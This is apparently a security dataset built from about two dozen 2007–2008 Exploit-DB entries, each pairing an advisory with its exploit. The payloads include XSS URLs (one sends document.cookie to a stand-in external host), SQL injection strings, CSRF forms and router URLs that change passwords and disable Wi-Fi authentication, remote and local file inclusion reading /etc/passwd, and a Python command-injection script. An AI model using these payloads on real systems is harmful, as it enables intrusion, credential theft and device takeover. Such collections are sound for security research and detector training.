QLWD/code_shield huggingface dataset:
标题: F5 BIG-IP 9.4.3 - 'SearchString' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31024 CVE: 2008-0265 类型: REMOTE 平台: HARDWARE 发布日期: 2008-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/27272/info

F5 BIG-IP is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BIG-IP firmware version 9.4.3 is vulnerable; other versions may also be affected.

https://www.example.com?SearchString=%22%20type=%22hidden%22%3E%3Cscript%3Ealert(%22list-xss%22)%3C/script%3E%3Cinput%20type=%22hidden%22%20value=%22 URL: https://www.exploit-db.com/exploits/31024
标题: Moodle 1.8.3 - 'install.php' Cross-Site Scripting EDB-ID: 31020 CVE: 2008-0123 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/27259/info

Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to Moodle 1.8.4. 

<form method="post" action="http://localhost/moodle/install.php"> <input type="hidden" name="stage" value="3"> <input type="text" name="dbname" value='"><script>alert(1)</script>'> <input type=submit> </form> URL: https://www.exploit-db.com/exploits/31020
标题: 2WIRE Routers - Cross-Site Request Forgery EDB-ID: 31013 CVE: 2007-4389 类型: REMOTE 平台: HARDWARE 发布日期: 2008-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27246/info

Multiple 2Wire routers are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to execute arbitrary actions on an affected device. 

Set a password (NUEVOPASS):
http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS

Add names to the DNS:
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1

Disable Wireless Authentication
http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0

Set Dynamic DNS
http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE URL: https://www.exploit-db.com/exploits/31013
标题: Members Area System 1.7 - 'view_func.php' Remote File Inclusion EDB-ID: 31011 CVE: 2008-0289 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/27244/info

Members Area System is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue affects Members Area System 1.7; other versions are also likely affected. 

http://www.example.com/view_func.php?i=http://www.example2.com/justsomedir/&l=testfile.txt? URL: https://www.exploit-db.com/exploits/31011
标题: ID-Commerce 2.0 - 'liste.php' SQL Injection EDB-ID: 31009 CVE: 2008-0281 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/27220/info

ID-Commerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/liste.php?idFamille=1%20or%201=1#
http://www.example.com/liste.php?idFamille=1%20or%201=0# URL: https://www.exploit-db.com/exploits/31009
标题: Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/account/findForSelect.jsp?resultsForm' Cross-Site Scripting EDB-ID: 31005 CVE: 2008-0239 类型: WEBAPPS 平台: JSP 发布日期: 2008-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/27214/info
 
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
 
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
 
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable. 

https://www.example.com/idm/account/findForSelect.jsp?resultsForm=<script>alert(&#039;Running_scripting_within_the_context_of_&#039;%2bdocument.domain)</script>&predefinedQuery=name%3Astarts+with%3A%25 URL: https://www.exploit-db.com/exploits/31005
标题: Omegasoft Insel 7 - Authentication Bypass / User Enumeration EDB-ID: 31003 CVE: 2008-1134 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/27210/info

Omegasoft Insel is prone to an authentication bypass vulnerability and a user-enumeration weakness.

An attacker can exploit these issues to obtain sensitive information and gain unauthorized access to the application.

These issues affect Omegasoft Insel 7; other versions may also be affected. 

Cookiename: OMEGALogon
value:[MANDATOR]%7C[CUSTOMERNUMBER]%7C[USERID]%7C%7CArial%7CArial%7C%2D%2D%2D%2D%2D%2D%7C[SURNAME]%2C+[NAME]%7C%7C%7C[LASTLOGINTIME]%7C

Cookiename: OMEGA[MANDATOR]
value: [USERID]%7C[CUSTOMERNUMBER]%7[HOST]%7C[DATE]%7C URL: https://www.exploit-db.com/exploits/31003
标题: Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/user/main.jsp?activeControl' Cross-Site Scripting EDB-ID: 31007 CVE: 2008-0239 类型: WEBAPPS 平台: JSP 发布日期: 2008-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/27214/info
   
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
   
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
   
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable. 

https://www.example.com/idm/user/main.jsp?activeControl=";</script><script>alert(&#039;Running_scripting_within_the_context_of_&#039;%2bdocument.domain)</script> URL: https://www.exploit-db.com/exploits/31007
标题: Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/login.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31004 CVE: 2008-0239 类型: WEBAPPS 平台: JSP 发布日期: 2008-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/27214/info

Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable. 

https://www.example.com/idm/login.jsp?lang=en&cntry=--><textarea>THIS+IS+MY+INJECTED+HTML&lt;/textarea&gt;<!--
https://www.example.com/idm/login.jsp?lang=--><script>window.location="http://www.example2.com/?"+document.cookie</script><!--&cntry= URL: https://www.exploit-db.com/exploits/31004
标题: SysHotel On Line System - 'index.php' Local File Inclusion EDB-ID: 31000 CVE: 2008-0184 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/27184/info

SysHotel On Line System is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. 

http://www.example.com/index.php?file==%2Fetc%2Fpasswd URL: https://www.exploit-db.com/exploits/31000
标题: eTicket 1.5.5.2 - 'admin.php' Multiple SQL Injections EDB-ID: 30997 CVE: 2008-0267 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/27173/info
   
eTicket is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an authentication-bypass issue.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user.
   
These issues affect eTicket 1.5.5.2; other versions may also be affected.

http://www.example.com/eTicket/admin.php?a=headers&msg=SQL&#039; URL: https://www.exploit-db.com/exploits/30997
标题: eTicket 1.5.5.2 - 'search.php' Multiple SQL Injections EDB-ID: 30996 CVE: 2008-0267 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/27173/info
  
eTicket is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an authentication-bypass issue.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user.
  
These issues affect eTicket 1.5.5.2; other versions may also be affected.

http://www.example.com/eTicket/search.php?s=advanced&text=test&cat=&status=open&#039;SQL&search_submit=Search URL: https://www.exploit-db.com/exploits/30996
标题: Xine-Lib 1.1.9 - 'rmff_dump_cont()' Remote Heap Buffer Overflow (PoC) EDB-ID: 31002 CVE: 2008-0225 类型: DOS 平台: LINUX 发布日期: 2008-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/27198/info

The xine-lib library is prone to a remote heap-based buffer-overflow vulnerability. This issue occurs because the software fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects xine-lib 1.1.9 and prior versions. 

The following proof-of-concept SDP data is available:

a=Abstract:buffer;'QUFBQUFBQUFBQUFBQUFB...40000_of_QUFBQUFB's...FBQUFB'

When decoding 'QUFBQUFB', the portion will be decoded to 'AAAAAA'. URL: https://www.exploit-db.com/exploits/31002
标题: IceWarp Mail Server 9.1.1 - '/admin/index.html' Cross-Site Scripting EDB-ID: 31001 CVE: 2008-0218 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/27189/info

IceWarp Mail Server is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects IceWarp Mail Server 9.1.1 for Windows; other versions may also be affected. 

http://www.example.com:32000/admin/index.html?message=<script src="your-js.js"></script> URL: https://www.exploit-db.com/exploits/31001
标题: eTicket 1.5.5.2 - 'view.php?s' Cross-Site Scripting EDB-ID: 30995 CVE: 2008-0268 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/27173/info
 
eTicket is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an authentication-bypass issue.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user.
 
These issues affect eTicket 1.5.5.2; other versions may also be affected.

http://www.example.com/eTicket/view.php?s="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30995
标题: Sun Java System Identity Manager 6.0/7.0/7.1 - '/idm/help/index.jsp?helpUrl' Remote Frame Injection EDB-ID: 31006 CVE: 2008-0240 类型: WEBAPPS 平台: JSP 发布日期: 2008-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/27214/info
  
Sun Java System Identity Manager is prone to multiple input-validation vulnerabilities, including an HTML-injection issue and cross-site scripting issues, because it fails to adequately sanitize user-supplied input.
  
Attackers can exploit these issues to execute arbitrary HTML and script code in the context of the affected site. Successful exploits could allow an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
  
Sun Java System Identity Manager 6.0 SP1, 6.0 SP2, 6.0 SP3, 7.0, and 7.1 are vulnerable. 

https://www.example.com/idm/help/index.jsp?helpUrl=http://www.example2.com URL: https://www.exploit-db.com/exploits/31006
标题: SynCE 0.92 - 'vdccm' Daemon Remote Command Injection EDB-ID: 30998 CVE: 2008-1136 类型: REMOTE 平台: LINUX 发布日期: 2008-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/27178/info

SynCE is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Attackers can exploit this issue to execute arbitrary commands in the context of the application, facilitating the remote compromise of affected computers.

SynCE 0.92 is vulnerable; other versions may also be affected. 

import socket, struct
import time
def AtoWChar(string):
    return ''.join([x+chr(0) for x in string])

HOST = '192.168.XXX.XXX'
PORT = 5679
c= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((HOST, PORT))
buf="\x00"*0x18
buf+='\x30\x00\x00\x00'
buf+='\x30\x00\x00\x00'
buf+='\x30\x00\x00\x00'
buf+="\x00"*12
string=AtoWChar("&/usr/bin/touch /tmp/vulnerability")
buf+=string+"\x00\x00"+"\x00"*12
c.send(struct.pack("L",63+len(string))+buf+"\x00" )
- ---------------------------

NOTE: for this proof of concept to work, a script file is needed on the
"$home$/.synce/scripts" directory. Some linux distributions ship with
scripts on this directory by default. URL: https://www.exploit-db.com/exploits/30998
标题: Creative Ensoniq PCI ES1371 WDM Driver 5.1.3612 - Local Privilege Escalation EDB-ID: 30999 CVE: 2008-7211 类型: LOCAL 平台: WINDOWS 发布日期: 2008-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/27179/info

Creative Ensoniq PCI ES1371 WDM drivers are prone to a local privilege-escalation vulnerability.

Successful exploits allow local users to execute arbitrary machine code with kernel-level privileges, facilitating the complete compromise of affected computers.

This issue occurs when the vulnerable driver is running in a Microsoft Windows Vista environment. This occurs in VMware Server and Workstation environments when running Microsoft Vista guest operating systems with sound enabled.

This issue affects 'es1371mp.sys' 5.1.3612.0. Given the nature of the issue, other device drivers and versions may also be vulnerable, but this has not been confirmed. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30999.zip URL: https://www.exploit-db.com/exploits/30999
标题: eTicket 1.5.5.2 - 'admin.php' Cross-Site Request Forgery EDB-ID: 30994 CVE: 2008-0266 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/27173/info

eTicket is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and an authentication-bypass issue.

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user.

These issues affect eTicket 1.5.5.2; other versions may also be affected.

<html>
<body>
<form id="csrf" name="csrf"
action="http://www.example.com/eTicket/admin.php?a=my" method="post">
<input type="hidden" name="a" value="my">
<input type="text" name="username" value="admin"><br>
<input type="text" name="name" value="admin"><br>
<input type="text" name="email" value="mail@example.com"><br>
<input type="password" name="password" value="&#039;) OR (&#039;1&#039;=&#039;1"><br>
<input type="password" name="npassword" value="hacked"><br>
<input type="password" name="vpassword" value="hacked"><br>
<textarea name="sig" cols="30" rows="5">&lt;/textarea&gt;<br>
<input type="submit" name="submit" value="Save Changes"><br>
</form>
<script language="JavaScript">document.getElementById(&#039;csrf&#039;).submit.click()</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/30994
标题: Pragma TelnetServer 7.0.4.589 - NULL-Pointer Dereference Denial of Service EDB-ID: 30991 CVE: 2008-0153 类型: DOS 平台: MULTIPLE 发布日期: 2008-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27143/info

Pragma TelnetServer is prone to a denial-of-service vulnerability because it fails to adequately handle certain telnet options.

Attackers can leverage this issue to terminate the server and cause denial-of-service conditions.

This issue affects Pragma TelnetServer 7.0 Build 4 Revision 589; other versions may also be vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30991.zip URL: https://www.exploit-db.com/exploits/30991
标题: Pragma Systems FortressSSH 5.0 - 'msvcrt.dll' Exception Handling Remote Denial of Service EDB-ID: 30989 CVE: 2008-0132 类型: DOS 平台: MULTIPLE 发布日期: 2008-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27141/info

Pragma Systems FortressSSH is prone to a remote denial-of-service vulnerability because it fails to adequately handle certain exceptions when processing overly long user-supplied input.

Attackers can exploit this issue to exhaust the maximum number of connections alotted for servers. Successful attacks will deny access to legitimate users.

FortressSSH 5.0 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30989.zip URL: https://www.exploit-db.com/exploits/30989
标题: WordPress Core 2.2.3 - '/wp-admin/page-new.php?popuptitle' Cross-Site Scripting EDB-ID: 30978 CVE: 2008-0192 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/27123/info
 
WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://site/wp-admin/page-new.php?popuptitle=%22%20style=%22xss:expression(alert(document.cookie))%22 URL: https://www.exploit-db.com/exploits/30978
标题: Foxit WAC Server 2.0 Build 3503 - Denial of Service EDB-ID: 30990 CVE: 2008-0151 类型: DOS 平台: MULTIPLE 发布日期: 2008-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/27142/info

Foxit WAC Server is prone to a denial-of-service vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects Foxit WAC Server 2.0 Build 3503 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30990-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31232.zip URL: https://www.exploit-db.com/exploits/30990
标题: libcdio 0.7x - GNU Compact Disc Input and Control Library Buffer Overflow EDB-ID: 30985 CVE: 2007-6613 类型: DOS 平台: LINUX 发布日期: 2007-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/27131/info

The GNU Compact Disc Input and Control Library ('libcdio') is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.

The issues occur when the 'cd-info' and 'iso-info' programs handle specially crafted ISO files.

Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts likely result in denial-of-service conditions.

The issues affect libcdio 0.79; other versions may also be affected.

Steps to Reproduce:
1. mkdir -p tmp/dir1
2. echo file_with_really_really_long_silly_name_to_test_iso_info_buffer
3. mkisofs -J -R -volid My_Image -o test.iso tmp
4. iso-info -l test.iso URL: https://www.exploit-db.com/exploits/30985
标题: PRO-Search 0.17 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30981 CVE: 2008-0207 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/27126/info

PRO-Search is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PRO-Search 0.17 is vulnerable; other versions may also be affected.

http://www.example.com/templates/example_template.php?data[title]=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[message]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[table][1][item]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[table][1][url]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/templates/example_template.php?data[poweredby]=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/30981
标题: WordPress Core 2.2.3 - '/wp-admin/edit.php?backup' Cross-Site Scripting EDB-ID: 30979 CVE: 2008-0193 类型: WEBAPPS 平台: PHP 发布日期: 2008-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/27123/info
  
WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.


http://site/wp-admin/edit.php?page=wp-db-backup.php&backup=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/30979